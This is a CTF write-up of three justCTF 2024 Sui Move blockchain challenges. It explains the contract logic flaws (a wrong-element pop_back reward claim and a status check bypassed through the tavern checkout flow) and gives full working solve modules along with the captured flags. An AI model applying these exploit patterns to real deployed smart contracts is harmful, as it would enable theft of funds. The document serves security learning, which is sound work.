Home (CTF) justCTF 2024 writeup (Blockchains)
Post
Cancel

(CTF) justCTF 2024 writeup (Blockchains)

img1.png It was first time for me to solve move based challenge. Solved 3 blockchain challenges, World of Ottercraft, The Otter Scrolls, Dark BrOTTERhood ( all move based challenge )

The Otter Scrolls

All the challenges use the Sui CTF Framework. Like solana challenges, we should send out compiled contract to the server.

framework/src/main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
    // Publish Challenge Module
    let chall_dependencies: Vec<String> = Vec::new();
    let chall_addr = sui_ctf_framework::publish_compiled_module(
        &mut adapter,
        mncp_modules,
        chall_dependencies,
        Some(String::from("challenger")),
    ).await;
    deployed_modules.push(chall_addr);
    println!("[SERVER] Module published at: {:?}", chall_addr); 

    let mut solution_data = [0 as u8; 2000];
    let _solution_size = stream.read(&mut solution_data)?;

    // Send Challenge Address
    let mut output = String::new();
    fmt::write(
        &mut output,
        format_args!(
            "[SERVER] Challenge modules published at: {}",
            chall_addr.to_string().as_str(),
        ),
    )
    .unwrap();
    stream.write(output.as_bytes()).unwrap();
...
    // Publish Solution Module
    let mut sol_dependencies: Vec<String> = Vec::new();
    sol_dependencies.push(String::from("challenge"));

    let mut mncp_solution : Vec<MaybeNamedCompiledModule> = Vec::new();
    let module: CompiledModule = match CompiledModule::deserialize_with_defaults(&solution_data.to_vec()) {
        Ok(data) => data,
        Err(e) => {
            let _ = adapter.cleanup_resources().await;
            return Err(Box::new(e))
        }
    }; 
...
    let sol_addr = sui_ctf_framework::publish_compiled_module(
        &mut adapter,
        mncp_solution,
        sol_dependencies,
        Some(String::from("solver")),
    ).await;
    println!("[SERVER] Solution published at: {:?}", sol_addr);

In main.rs, It publishes challenge module and read bytecode, then publishes out solver module.

framework/src/main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
    // Prepare Function Call Arguments
    let mut args_solve: Vec<SuiValue> = Vec::new();
    let spellbook = SuiValue::Object(FakeID::Enumerated(2, 0), None); 
    args_solve.push(spellbook.clone());

    let type_args_solve: Vec<TypeTag> = Vec::new();

    // Call solve Function
    let ret_val = match sui_ctf_framework::call_function(
        &mut adapter,
        sol_addr,
        "solve",
        "solve",
        args_solve,
        type_args_solve,
        Some("solver".to_string()),
    ).await {
        Ok(output) => output,
        Err(e) => {
            let _ = adapter.cleanup_resources().await;
            println!("[SERVER] error: {e}");
            return Err("error during call to solve::solve".into())
        }
    };

    // Check Solution
    let mut args_check: Vec<SuiValue> = Vec::new();
    args_check.push(spellbook.clone());
    let type_args_check: Vec<TypeTag> = Vec::new();

    let sol_ret = sui_ctf_framework::call_function(
        &mut adapter,
        chall_addr,
        "theotterscrolls",
        "check_if_spell_casted",
        args_check,
        type_args_check,
        Some("solver".to_string()),
    ).await;
    println!("[SERVER] Return value {:#?}", sol_ret);
    println!("");

    // Validate Solution
    match sol_ret {
        Ok(_) => {
            println!("[SERVER] Correct Solution!");
            println!("");
            if let Ok(flag) = env::var("FLAG") {
                let message = format!("[SERVER] Congrats, flag: {}", flag);

And, the server calls the solve function with the spellbook object and calls check_if_spell_casted function to check if it was solved.

framework/chall/sources/the_otter_scrolls.move

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
    fun init(ctx: &mut TxContext) {
        
        let mut all_words = table::new(ctx);

        let fire = vector[
            string::utf8(b"Blast"),
            string::utf8(b"Inferno"),
            string::utf8(b"Pyre"),
            string::utf8(b"Fenix"),
            string::utf8(b"Ember")
        ];

        let wind = vector[
            string::utf8(b"Zephyr"),
            string::utf8(b"Swirl"),
            string::utf8(b"Breeze"),
            string::utf8(b"Gust"),
            string::utf8(b"Sigil")
        ];

        let water = vector[
            string::utf8(b"Aquarius"),
            string::utf8(b"Mistwalker"),
            string::utf8(b"Waves"),
            string::utf8(b"Call"),
            string::utf8(b"Storm")
        ];

        let earth = vector[
            string::utf8(b"Tremor"),
            string::utf8(b"Stoneheart"),
            string::utf8(b"Grip"),
            string::utf8(b"Granite"),
            string::utf8(b"Mudslide")
        ];

        let power = vector[
            string::utf8(b"Alakazam"),
            string::utf8(b"Hocus"),
            string::utf8(b"Pocus"),
            string::utf8(b"Wazzup"),
            string::utf8(b"Wrath")
        ];

        table::add(&mut all_words, 0, fire); 
        table::add(&mut all_words, 1, wind); 
        table::add(&mut all_words, 2, water); 
        table::add(&mut all_words, 3, earth); 
        table::add(&mut all_words, 4, power); 

        let spellbook = Spellbook {
            id: object::new(ctx),
            casted: false,
            spells: all_words
        };

        transfer::share_object(spellbook);
    }

In init function (same as constructor in solidity), it makes a spellbook vector and uses it as an argument of transfer::share_object. Then we can use this object to access spellbook.

framework/chall/sources/the_otter_scrolls.move

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
    public fun cast_spell(spell_sequence: vector<u64>, book: &mut Spellbook) {

        let fire = table::remove(&mut book.spells, 0);
        let wind = table::remove(&mut book.spells, 1);
        let water = table::remove(&mut book.spells, 2);
        let earth = table::remove(&mut book.spells, 3);
        let power = table::remove(&mut book.spells, 4);

        let fire_word_id = *vector::borrow(&spell_sequence, 0);
        let wind_word_id = *vector::borrow(&spell_sequence, 1);
        let water_word_id = *vector::borrow(&spell_sequence, 2);
        let earth_word_id = *vector::borrow(&spell_sequence, 3);
        let power_word_id = *vector::borrow(&spell_sequence, 4);

        let fire_word = vector::borrow(&fire, fire_word_id);
        let wind_word = vector::borrow(&wind, wind_word_id);
        let water_word = vector::borrow(&water, water_word_id);
        let earth_word = vector::borrow(&earth, earth_word_id);
        let power_word = vector::borrow(&power, power_word_id);

        if (fire_word == string::utf8(b"Inferno")) {
            if (wind_word == string::utf8(b"Zephyr")) {
                if (water_word == string::utf8(b"Call")) {
                    if (earth_word == string::utf8(b"Granite")) {
                        if (power_word == string::utf8(b"Wazzup")) {
                            book.casted = true;
                        }
                    }
                }
            }
        }
  
    }

    public fun check_if_spell_casted(book: &Spellbook): bool {
        let casted = book.casted;
        assert!(casted == true, 1337);
        casted
    }

In cast_spell function, It gets each index of the spellbook and checks it against some words. If all indexes are correct, set book.casted=true. The correct indexes are 1 (Inferno), 0 (Zephyr), 3 (Call), 3 (Granite), 3 (Wazzup).

framework-solve/solve/sources/solve.move

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
module solve::solve {

    // [*] Import dependencies
    use challenge::theotterscrolls;
    use sui::tx_context::{Self, TxContext};

    public fun solve(
        _spellbook: &mut theotterscrolls::Spellbook,
        _ctx: &mut TxContext
    ) {
        let spell_sequence = vector[
            1, // Inferno
            0, // Zephyr
            3, // Call
            3, // Granite
            3  // Wazzup
        ];
        theotterscrolls::cast_spell(spell_sequence, _spellbook);
        theotterscrolls::check_if_spell_casted(_spellbook);
    }
}

solve code, create index vector and call cast_spell funciton in theotterscrolls module. then, we need to change some code to get flag.

  1. host, port in framework-solve/src/main.rs
    1
    2
    3
    4
    
    fn main() -> Result<(), Box<dyn Error>> {
    
     let host = env::var("HOST").unwrap_or_else(|_| "tos.nc.jctf.pro".to_string()); // replace with remote ip
     let port = env::var("PORT").unwrap_or_else(|_| "31337".to_string());
    
  2. challenge address in framework-solve/dependency/Move.toml
    1
    2
    3
    4
    
    ...
    [addresses]
    admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"
    challenge = "<>"
    

we can check the challenge address by simply connecting to server. It’s fixed and won’t be changed.

Next, we need to compile the module with sui build and run the rust code. it’s all in sources/run_client.sh. just run this script (we need to install sui). we can check a flag in Connection Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  sources ./run_client.sh 
+ cd framework-solve/solve
+ sui move build
...
+ cd ..
+ cargo r --release
    Finished release [optimized] target(s) in 0.00s
     Running `target/release/solve-framework`
  - Connected!
  - Loaded solution!
  - Sent solution!
  - Connection Output: '[SERVER] Challenge modules published at: 542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b[SERVER] Solution published at b4c0f35aeb28b4e0aa758f063059f3583d47686b0a057089f46bee4f474f871a'
  - Connection Output: '[SERVER] Congrats, flag: justCTF{Th4t_sp3ll_looks_d4ngerous...keep_y0ur_distance}'
  - Connection Output: ''
  - Terminated.

justCTF{Th4t_sp3ll_looks_d4ngerous…keep_y0ur_distance}

Dark BrOTTERhood

goal

dark_brotterhood.move

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public fun buy_flag(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext): Flag {
        assert!(coin::value(&player.coins) >= 1337, WRONG_AMOUNT); // init * 10

        let coins = coin::split(&mut player.coins, 1337, ctx);
        coin::join(&mut vault.cash, coins);

        Flag {
            id: object::new(ctx),
            user: tx_context::sender(ctx),
            flag: true
        }
    }
...
    public fun prove(board: &mut QuestBoard, flag: Flag) {
        let Flag {
            id,
            user,
            flag
        } = flag;

        object::delete(id);

        assert!(table::contains(&board.players, user), NOT_REGISTERED);
        assert!(flag, NOT_SOLVED);
        *table::borrow_mut(&mut board.players, user) = true;
    }
...
    public fun check_winner(board: &QuestBoard, player: address) {
        assert!(*table::borrow(&board.players, player) == true, NOT_SOLVED);
    }

call buy_flag with 1337 coins and call prove to set the value of player to true

dark_brotterhood.move

1
2
3
4
5
6
7
8
9
10
11
12
  public fun register(sup: &mut OsecSuply<OTTER>, board: &mut QuestBoard, player: address, ctx: &mut TxContext) {
        assert!(!table::contains(&board.players, player), ALREADY_REGISTERED);

        table::add(&mut board.players, player, false);

        transfer::transfer(Player {
            id: object::new(ctx),
            user: tx_context::sender(ctx),
            coins: mint(sup, 137, ctx), // starts with 137
            power: 10
        }, player);
    }

The server calls register function first, we starts with 137 OTTER coin and the power is 10

1
2
3
4
5
6
7
8
    public fun buy_sword(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext) {
        assert!(coin::value(&player.coins) >= 137, WRONG_AMOUNT);

        let coins = coin::split(&mut player.coins, 137, ctx);
        coin::join(&mut vault.cash, coins);

        player.power = player.power + 100;
    }

buy_sword function, we can increase out power with 137 coins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    #[allow(lint(public_random))]
    public fun find_a_monster(board: &mut QuestBoard, r: &Random, ctx: &mut TxContext) {
        assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MUCH_MONSTERS);

        let mut generator = random::new_generator(r, ctx);

        let quest = Monster {
            fight_status: NEW,
            reward: random::generate_u8_in_range(&mut generator, 13, 37),
            power: random::generate_u8_in_range(&mut generator, 13, 73)
        };

        vector::push_back(&mut board.quests, quest);

    }

find_a_monster function, we can push Monster objects to quests vector using push_back method. The limit is 25 (QUEST_LIMIT)

1
2
3
4
5
6
7
8
9
    public fun fight_monster(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
        let quest = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(quest.fight_status == NEW, WRONG_STATE);
        assert!(player.power > quest.power, BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT);

        player.power = 10; // sword breaks after fighting the monster :c

        quest.fight_status = WON; // !! quest.power do not changed
    }

fight_monster’ function, 2 constraints

  1. fight_status == NEW ( can only be set in find_a_monster function )
  2. player.power > quest.power ( can only be increased in buy_sword function )

It sets player.power to 10 and quest.fight_status to WON

1
2
3
4
5
6
    public fun return_home(board: &mut QuestBoard, quest_id: u64) {
        let quest_to_finish = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(quest_to_finish.fight_status == WON, WRONG_STATE);

        quest_to_finish.fight_status = FINISHED; // only quest.status
    }

return_home sets fight_status to FINISHED it status is WON ( can only be set in fight_monster function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    #[allow(lint(self_transfer))]
    public fun get_the_reward(
        vault: &mut Vault<OTTER>,
        board: &mut QuestBoard,
        player: &mut Player,
        quest_id: u64,
        ctx: &mut TxContext,
    ) {
        let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id); 
        assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

        let monster = vector::pop_back(&mut board.quests); 

        let Monster {
            fight_status: _,
            reward: reward,
            power: _
        } = monster;

        let coins = coin::split(&mut vault.cash, (reward as u64), ctx); 
        coin::join(&mut player.coins, coins);
    }

get_the_reward function, It gets the quest status using quest_id and checks if it’s FINISHED, then It gets monster object with pop_back method and only get reward from it and send that amount to user.

If the length of the quest is 1, it works correctly. However, if the length of the quest is greater than 1, the quest being checked and the quest from which the reward is being retrieved become different. Instead of removing the checked quest, the quest from the end of the vector is removed from the vector.

By leaving a quest with the FINISHED status at the front of the vector, we can repeatedly call the find_a_monster and get_the_reward functions without fighting the monster to earn 1337 gold.

solve.move

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
module solve::solve {

    // [*] Import dependencies
    use challenge::Otter::{Self, OTTER, Flag};
    use sui::random::Random;

    #[allow(lint(public_random))]
    public fun solve(
        _vault: &mut Otter::Vault<OTTER>,
        _questboard: &mut Otter::QuestBoard,
        _player: &mut Otter::Player,
        _r: &Random,
        _ctx: &mut TxContext,
    ) {
        Otter::find_a_monster(_questboard, _r, _ctx);
        Otter::buy_sword(_vault, _player, _ctx);
        Otter::fight_monster(_questboard, _player, 0);
        Otter::return_home(_questboard, 0);

        let mut i = 0;
        loop {
            Otter::find_a_monster(_questboard, _r, _ctx);
            Otter::get_the_reward(_vault, _questboard, _player, 0, _ctx);
            i = i + 1;
            if (i>=100) {
                break;
            }
        };

        let flag = Otter::buy_flag(_vault, _player, _ctx);
        Otter::prove(_questboard, flag);
    }
}

justCTF{I_us3d_to_b3_an_ott3r_until_i_t00k_th4t_arr0w}

World of Ottercraft

goal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) {
        assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

        ticket.total = ticket.total + 537;
        ticket.flag_bought = true;
    }

    public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) {
        let TawernTicket{ total, flag_bought } = ticket;

        assert!(total > 0, BUY_SOMETHING);  
        assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT);

        let balance = balance::split(&mut player.wallet, total);
        let coins = coin::from_balance(balance, ctx);

        coin::join(&mut vault.cash, coins);

        if (flag_bought == true) {

            let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx));
            *flag = true;

            std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug
        };

        player.status = RESTING;
    }

buy flag with 537 coin and call checkout function. It looks similar to Dark BrOTTERhood challenge but this challenge released earlier.

1
2
3
4
5
6
    // STATUSES
    const PREPARE_FOR_TROUBLE: u64 = 1;
    const ON_ADVENTURE: u64 = 2;
    const RESTING: u64 = 3;
    const SHOPPING: u64 = 4;
    const FINISHED: u64 = 5;

there are 5 status.

1
2
3
4
5
6
7
8
9
10
11
12
    public struct TawernTicket {
        total: u64,
        flag_bought: bool
    }
    ...
    public fun enter_tavern(player: &mut Player): TawernTicket {
        assert!(player.status == RESTING, WRONG_PLAYER_STATE);

        player.status = SHOPPING;

        TawernTicket{ total: 0, flag_bought: false }
    }

I think this is import part of my solver code. we should call enter_tavern to buy something. The player will get TawernTicket object by calling this function. we should send ownership by calling checkout function before return. because there’s no drop in TawernTicket. As I know, there’s no way to drop this object without sending it to the checkout function. Idk rust and move this mush ( this is first time for me )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) {
        assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

        ticket.total = ticket.total + 537;
        ticket.flag_bought = true;
    }

    public fun buy_sword(player: &mut Player, ticket: &mut TawernTicket) {
        assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

        player.power = player.power + 213;
        ticket.total = ticket.total + 140;
    }

    public fun buy_shield(player: &mut Player, ticket: &mut TawernTicket) {
        assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

        player.power = player.power + 7;
        ticket.total = ticket.total + 20;
    }

    public fun buy_power_of_friendship(player: &mut Player, ticket: &mut TawernTicket) {
        assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

        player.power = player.power + 9000; //it's over 9000!
        ticket.total = ticket.total + 190;
    }

There are 4 items. The shield is the cheapest. only SHOPPING status is allowed ( only set in enter_tavern function )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) {
        let TawernTicket{ total, flag_bought } = ticket;

        assert!(total > 0, BUY_SOMETHING);  
        assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT);

        let balance = balance::split(&mut player.wallet, total);
        let coins = coin::from_balance(balance, ctx);

        coin::join(&mut vault.cash, coins);

        if (flag_bought == true) {

            let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx));
            *flag = true;

            std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug
        };

        player.status = RESTING;
    }

checkout, all status is allowed. player.status = RESTING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) { // RESTING, PREPARE_FOR_TROUBLE
        assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
        assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);
        // verify with quest length, so can always get rewarad:100, power:73
        let quest = if (vector::length(&board.quests) % 3 == 0) {
            Monster {
                reward: 100,
                power: 73
            }
        } else if (vector::length(&board.quests) % 3 == 1) {
            Monster {
                reward: 62,
                power: 81
            }
        } else {
            Monster {
                reward: 79,
                power: 94
            }
        };

        vector::push_back(&mut board.quests, quest);
        player.status = PREPARE_FOR_TROUBLE;
    }

find_a_monster, we can push Monster object to quests vector. only RESTING, PREPARE_FOR_TROUBLE status are allowed. player.status = PREPARE_FOR_TROUBLE

1
2
3
4
5
6
7
8
9
10
11
12
    public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) { // PREPARE_FOR_TROUBLE
        assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

        let monster = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(player.power > monster.power, BETTER_GET_EQUIPPED);

        player.status = ON_ADVENTURE;

        player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
        monster.power = 0; //you win! wow!
        player.quest_index = quest_id;
    }

It gets monster using quest_id and checks power, then set monster's power to 0, quest_index to quest_id. only PREPARE_FOR_TROUBLE status is allowed.

1
2
3
4
5
6
7
8
    public fun return_home(board: &mut QuestBoard, player: &mut Player) { // ON_ADVENTURE
        assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);

        let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
        assert!(quest_to_finish.power == 0, WRONG_AMOUNT);

        player.status = FINISHED;
    }

return_home, It gets quest using player.quest_index ( set in bring_it_on function ) and checks power==0. only ON_ADVENTURE status is allowed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) { // FINISHED, SHOPPING
        assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

        let monster = vector::remove(&mut board.quests, player.quest_index);

        let Monster {   // do not check monster power
            reward: reward,
            power: _
        } = monster;

        let coins = coin::split(&mut vault.cash, reward, ctx); 
        let balance = coin::into_balance(coins);

        balance::join(&mut player.wallet, balance);

        player.status = RESTING;
    }

get_the_reward, It’s different from previous challenge. It uses remove using player.quest_index as index, not pop_back.

Not only the FINISHED status from return_home, but also the SHOPPING status is allowed. In vector::remove, if we delete index 0, index 0 now points to the element that was previously at index 1. There’s no check of the power of monster. So we can collect all rewards in the quest vector by killing only the monster at index 0.

img2.png It seems we can call get_the_reward, enter_tavern function repeatedly. But as I mentioned above, we must send transfer ownership of ticket object to checkout function before return. So we should call the functions in the following order

  1. buy sword
  2. fill the vector with monsters until LIMIT (25)
  3. kill monster at index 0
  4. repeat below
  5. enter_tavern
  6. buy_shield -> Cheapest. Just to bypass assert!(total > 0, BUY_SOMETHING);.
  7. get_the_reward
  8. checkout -> transfer ownership of ticket

All of the monsters’ rewards are lower than the price of a shield, so we can get 537 coins.

solve.move

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#[allow(unused, unused_use, unused_variable, duplicate_alias)]
module solve::solve {

    // [*] Import dependencies
    use challenge::Otter::{Self, OTTER, QuestBoard, Vault, Player, TawernTicket};
    public fun solve(
        board: &mut QuestBoard,
        vault: &mut Vault<OTTER>,
        player: &mut Player,
        ctx: &mut TxContext
    ) {
        let mut ticket = Otter::enter_tavern(player);
        Otter::buy_sword(player, &mut ticket);
        Otter::checkout(ticket, player, ctx, vault, board);
        let mut i = 0;
        loop {
            Otter::find_a_monster(board, player);
            i = i + 1;
            if (i >= 25) {
                break;
            }
        };
        Otter::bring_it_on(board, player, 0);
        Otter::return_home(board, player);
        Otter::get_the_reward(vault, board, player, ctx);

        i = 0;
        loop {
            let mut ticket = Otter::enter_tavern(player);
            Otter::buy_shield(player, &mut ticket);
            Otter::get_the_reward(vault, board, player, ctx);
            Otter::checkout(ticket, player, ctx, vault, board);
            i = i + 1;
            if (i >= 24) {
                break;
            }
        };
        let mut ticket = Otter::enter_tavern(player);
        Otter::buy_flag(&mut ticket, player);
        Otter::checkout(ticket, player, ctx, vault, board);
    }
}

justCTF{Ott3r_uses_expl0it_its_sup3r_eff3ctiv3}

This post is licensed under CC BY 4.0 by the author.
Trending Tags